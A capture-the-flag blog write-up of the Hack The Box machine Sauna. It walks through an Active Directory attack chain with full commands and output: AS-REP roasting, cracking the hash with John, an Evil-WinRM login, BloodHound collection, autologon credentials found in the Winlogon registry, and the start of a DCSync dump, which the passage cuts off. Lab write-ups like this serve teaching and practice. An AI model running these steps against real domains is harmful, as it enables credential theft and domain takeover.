Post

HTB - Sauna Writeup

Posted
Preview Image
By Frey
19 min read
HTB - Sauna Writeup

Hack The Box — Sauna

Here we go again this is going to be our first HTB write-up on this blog site, so LFG I will also try to explain AD attacks I performed in simple words :)

Target IP: 10.129.32.91

Nmap

Let’s start with an Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 11:06 +0530

Nmap scan report for 10.129.32.91

Host is up (0.074s latency).

Not shown: 65517 filtered tcp ports (no-response)

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC

Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-08-27T12:38:57
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 6h59m22s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 227.92 seconds

There are a lot of interesting ports open here, but the most interesting ones for us are:

  • 53 — DNS
  • 80 — HTTP
  • 389 — LDAP
  • 445 — SMB
  • 5985 — WinRM

We can also see that this is an Active Directory domain:

1

EGOTISTICAL-BANK.LOCAL

Let’s add 10.129.32.91 and EGOTISTICAL-BANK.LOCAL to our /etc/hosts and get into the site.

Website Enumeration

By visiting:

1

http://egotistical-bank.local/

we can see that there are clients, but all of them are mentioned as client1, client2, client3, etc.

After exploring all the tabs, we eventually find:

1

http://egotistical-bank.local/about.html

Here we get the names of the users.

Since this is an AD machine, I put all the usernames into different common AD username formats.

For example:

1
2
3
4
5
6

fsmith
fergussmith
fergus.smith
fergus_smith
fergus
smith

My usernames.txt looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

fsmith
fergussmith
fergus.smith
fergus_smith
fergus
smith

hbear
hugobear
hugo.bear
hugo_bear
hugo
bear

skerb
stevenkerb
steven.kerb
steven_kerb
steven
kerb

scoins
shauncoins
shaun.coins
shaun_coins
shaun
coins

btaylor
bowietaylor
bowie.taylor
bowie_taylor
bowie
taylor

sdriver
sophiedriver
sophie.driver
sophie_driver
sophie
driver

AS-REP Roasting

Now that we have usernames, we can try AS-REP Roasting against the Domain Controller.

The best way to do this is with Impacket’s GetNPUsers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ impacket-GetNPUsers egotistical-bank.local/ -usersfile usernames.txt -dc-ip 10.129.32.91 -no-pass

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:4db0e01c91460336d3a7189f22af8f8a$8582398a776e90b6b262ea07aa49fd7ef5d520733b2c1f3d910c9510d6d9dcbc60da4a572b579338d412ab8e256c6ae33e43637e9a77cf798daa73635bc87efe55d0c8e2d8068873c80cf09683db6157aefc231bd6823f87f724bbd532def38f43d32a53cf0b3c59a01c57bb00fb860455dd5791b50ca5dcbf0775545846fb6889f8183e369f3bf165528064b2f16bc381f1a8887bae51c7aaecab612dd646c70e039021bf605cb1a2002c66dd26aebab7f71c686f1faa9629423aa94e8bcbaef5c8154921db043af7188d994b880b49f4b87e1e9d562f5503149db216e395821bece644a177c6453c38855c21377464f762595037b7a4a8dcdcdf101637905b

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

We got an AS-REP hash for fsmith:

1

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...

This is a Kerberos etype 23 / RC4-HMAC AS-REP hash.

Cracking the Hash

Let’s crack the hash.

First, I saved the hash into a file called hash:

1
2
3

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ vim hash

Then I used John the Ripper with the rockyou.txt wordlist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)

1g 0:00:00:04 DONE (2026-08-27 11:18) 0.2487g/s 2621Kp/s 2621Kc/s 2621KC/s Tiffani1432..Thanongsuk_police

Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we have the credentials for fsmith:

1

fsmith : Thestrokes23

Checking the Credentials

From the Nmap result, we know there are ports open that could allow us to access the machine.

Let’s see if the credentials are working properly and whether we are authorized to get in with Evil-WinRM.

First, SMB:

1
2
3
4
5
6

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ nxc smb 10.129.32.91 -u "fsmith" -p Thestrokes23

SMB         10.129.32.91    445    SAUNA           [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.32.91    445    SAUNA           [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

The credentials work.

Let’s check WinRM:

1
2
3
4
5
6

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ nxc winrm 10.129.32.91 -u "fsmith" -p Thestrokes23

WINRM       10.129.32.91    5985   SAUNA           [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.129.32.91    5985   SAUNA           [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

Perfect. We can access the machine over WinRM.

User Flag

Let’s get into the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ evil-winrm -u "fsmith" -p Thestrokes23 -i 10.129.32.91

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..
*Evil-WinRM* PS C:\Users\FSmith> cd Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---              8/27/2026   5:32 AM       34 user.txt

*Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt

b3096c9ee92a37078c566131699bf981

*Evil-WinRM* PS C:\Users\FSmith\Desktop>

User Flag

1

b3096c9ee92a37078c566131699bf981

Privilege Escalation

As soon as I get into a machine, I always run:

1

whoami /all

This lets me see the user’s permissions and how much power I have for the next step.

Here, we can’t find anything unusual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

*Evil-WinRM* PS C:\Users\FSmith\Desktop> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
egotisticalbank\fsmith S-1-5-21-2966785786-3096785034-1186376766-1105


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                      Attributes
=========================================== ================ ======================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                             Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                             Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                             Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                              Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label              S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                                      State
=============================== ================================================== =======
SeMachineAccountPrivilege       Add workstations to domain                      Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                        Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set                  Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

I found nothing useful, which means it’s time for BloodHound.

BloodHound Enumeration

Let’s upload SharpHound and download the resulting ZIP file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

*Evil-WinRM* PS C:\Users\FSmith\Desktop> upload SharpHound.exe

Info: Uploading /home/frey/hackthebox/machine/sauna/SharpHound.exe to C:\Users\FSmith\Desktop\SharpHound.exe

Data: 1830228 bytes of 1830228 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\FSmith\Desktop> ./SharpHound.exe

2026-08-27T05:58:51.6044349-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-08-27T05:58:51.6200715-07:00|INFORMATION|SharpHound Version: 2.14.0.0
2026-08-27T05:58:51.6200715-07:00|INFORMATION|SharpHound Common Version: 4.7.0.0
2026-08-27T05:58:51.6981916-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2026-08-27T05:58:51.7294421-07:00|INFORMATION|Initializing SharpHound at 5:58 AM on 8/27/2026
2026-08-27T05:58:51.7606884-07:00|INFORMATION|Resolved current domain to EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:51.8700587-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2026-08-27T05:58:51.9325697-07:00|INFORMATION|Beginning LDAP search for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:51.9325697-07:00|INFORMATION|Collecting AdminSDHolder data for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:51.9794355-07:00|INFORMATION|AdminSDHolder ACL hash 00282C4ECB176A3D401881255CEFB538664FC932 calculated for EGOTISTICAL-BANK.LOCAL.
2026-08-27T05:58:52.0575610-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.0575610-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.0731922-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.0731922-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.0731922-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.1044355-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.2294419-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.2450665-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.2606873-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.2919400-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.2919400-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3075629-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3075629-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3075629-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3075629-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3075629-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3231853-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3231853-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3231853-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3231853-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3388133-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3388133-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3388133-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3388133-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3544414-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3544414-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3700672-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.3857150-07:00|INFORMATION|Beginning LDAP search for EGOTISTICAL-BANK.LOCAL Configuration NC
2026-08-27T05:58:52.3857150-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.5419382-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.5575696-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.5575696-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.5888092-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6044402-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6044402-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6044402-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6044402-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6044402-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:52.6200645-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EGOTISTICAL-BANK.LOCAL
2026-08-27T05:58:53.3857150-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-08-27T05:58:53.3857150-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-08-27T05:58:54.3701269-07:00|INFORMATION|Consumers finished, closing output channel
2026-08-27T05:58:54.3856968-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-08-27T05:58:54.3856968-07:00|INFORMATION|Closing writers
2026-08-27T05:58:54.4481911-07:00|INFORMATION|Status: 297 objects finished (+297 148.5)/s -- Using 61 MB RAM
2026-08-27T05:58:54.4481911-07:00|INFORMATION|Enumeration finished in 00:00:02.5283829
2026-08-27T05:58:54.5106998-07:00|INFORMATION|Saving cache with stats: 16 ID to type mappings.
2026-08-27T05:58:54.5106998-07:00|INFORMATION|0 name to SID mappings.
2026-08-27T05:58:54.5106998-07:00|INFORMATION|1 machine sid mappings.
2026-08-27T05:58:54.5106998-07:00|INFORMATION|2 sid to domain mappings.
2026-08-27T05:58:54.5106998-07:00|INFORMATION|0 global catalog mappings.
2026-08-27T05:58:54.5419437-07:00|INFORMATION|SharpHound Enumeration Completed at 5:58 AM on 8/27/2026! Happy Graphing!

The BloodHound ZIP was created:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

*Evil-WinRM* PS C:\Users\FSmith\Desktop> ls


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----              8/27/2026   5:58 AM       30171 20260827055851_BloodHound.zip
-a----              8/27/2026   5:58 AM     1372672 SharpHound.exe
-ar---              8/27/2026   5:32 AM         34 user.txt
-a----              8/27/2026   5:58 AM       1308 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin

*Evil-WinRM* PS C:\Users\FSmith\Desktop> download 20260827055851_BloodHound.zip

Info: Downloading C:\Users\FSmith\Desktop\20260827055851_BloodHound.zip to 20260827055851_BloodHound.zip

Info: Download successful!

*Evil-WinRM* PS C:\Users\FSmith\Desktop>

I checked BloodHound, but still got 0 outbound control. Seems like we have missed something.

0

Let’s enumerate more.

Winlogon Registry

I don’t know how I missed it, but it’s always good practice to check the Winlogon registry during Windows privilege escalation in HTB.

When you run:

1

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

you’re looking for configuration that can expose credentials or ways to execute something with higher privileges.

Let’s check it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

*Evil-WinRM* PS C:\Users\FSmith\Desktop> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

    AutoRestartShell          REG_DWORD    0x1
    Background                REG_SZ       0 0 0
    CachedLogonsCount         REG_SZ       10
    DebugServerCommand        REG_SZ       no
    DefaultDomainName         REG_SZ       EGOTISTICALBANK
    DefaultUserName           REG_SZ       EGOTISTICALBANK\svc_loanmanager
    DisableBackButton         REG_DWORD    0x1
    EnableSIHostIntegration   REG_DWORD    0x1
    ForceUnlockLogon          REG_DWORD    0x0
    LegalNoticeCaption        REG_SZ
    LegalNoticeText           REG_SZ
    PasswordExpiryWarning     REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ       0
    PreCreateKnownFolders     REG_SZ       {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk              REG_SZ       1
    Shell                     REG_SZ       explorer.exe
    ShellCritical             REG_DWORD    0x0
    ShellInfrastructure       REG_SZ       sihost.exe
    SiHostCritical            REG_DWORD    0x0
    SiHostReadyTimeOut        REG_DWORD    0x0
    SiHostRestartCountLimit   REG_DWORD    0x0
    SiHostRestartTimeGap      REG_DWORD    0x0
    Userinit                  REG_SZ       C:\Windows\system32\userinit.exe,
    VMApplet                  REG_SZ       SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled       REG_SZ       0
    scremoveoption            REG_SZ       0
    DisableCAD                REG_DWORD    0x1
    LastLogOffEndTimePerfCounter REG_QWORD 0x8c9319f7
    ShutdownFlags             REG_DWORD    0x8000022b
    DisableLockWorkstation    REG_DWORD    0x0
    DefaultPassword           REG_SZ       Moneymakestheworldgoround!

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

*Evil-WinRM* PS C:\Users\FSmith\Desktop>

And we found it the DefaultPassword:

1

Moneymakestheworldgoround!

It was sitting right in front of our eyes!

The registry also gave us:

1

DefaultUserName = EGOTISTICALBANK\svc_loanmanager

So now we have a potential service-account credential:

1

svc_loanmanager : Moneymakestheworldgoround!

Finding the Correct Username

Now let’s check if this is the correct user.

1
2
3
4
5
6
7

*Evil-WinRM* PS C:\Users\FSmith\Desktop> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator           FSmith                  Guest
HSmith                  krbtgt                  svc_loanmgr

It seems like svc_loanmgr is the correct username.

Time for nxc.

First, I tried the username shown in the registry:

1
2
3
4
5
6

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ nxc winrm 10.129.32.91 -u "svc_loanmanager" -p Moneymakestheworldgoround!

WINRM       10.129.32.91    5985   SAUNA           [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.129.32.91    5985   SAUNA           [-] EGOTISTICAL-BANK.LOCAL\svc_loanmanager:Moneymakestheworldgoround!

It failed.

Then I tried the actual username from net user:

1
2
3
4
5
6

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ nxc winrm 10.129.32.91 -u "svc_loanmgr" -p Moneymakestheworldgoround!

WINRM       10.129.32.91    5985   SAUNA           [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.129.32.91    5985   SAUNA           [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)

Success!

We now have valid credentials for:

1

svc_loanmgr : Moneymakestheworldgoround!

BloodHound — GetChanges + GetChangesAll

Let’s get into the machine and upload/download the BloodHound file with SharpHound again.

This time we captured the goldmine.

1

We can see:

1

GetChangesAll

This is dangerous and definitely something to remember for future AD machines.

Here’s the table:

PermissionMeaning
Get ChangesAllows an account/principal to request certain directory replication data
Get Changes AllAllows replication of additional/sensitive directory attributes
Get Changes In Filtered SetAllows replication of attributes in the filtered attribute set

So svc_loanmgr is allowed to request replication of certain sensitive directory information from the domain.

This gives us a path toward DCSync.

What Is DCSync?

We now have all the paths open for DCSync.

Let’s take a minute here, as I am not going to make a write-up again and again just to explain it.

So, what is DCSync anyway?

The definition is:

DCSync is an attack that abuses Active Directory’s legitimate replication protocol by making a privileged account request replication data from a Domain Controller, potentially including credential hashes.

Now, in my words:

DCSync is not asking the DC for “sensitive files.” You’re asking the Domain Controller to provide Active Directory replication data, which can include password hashes and other credential-related secrets.

Normal AD replication:

1
2

DC1 ───────────► DC2
       "Here are the directory changes."

DCSync:

1
2
3

svc_loanmgr ───► DC
                  "Give me the replication data
                   I'm requesting."

This is why permissions such as:

1
2

GetChanges
GetChangesAll

are so important.

Performing DCSync

Now again, we will use impacket-secretsdump.

I think maybe I will make a detailed post on Impacket, as most of the AD work just becomes so easy with it.

Also, if you know any good article on it, ping me on Discord: fr6ey

Let’s run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

┌──(frey㉿freyxor)-[~/hackthebox/machine/sauna]

└─$ impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@10.129.32.91'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

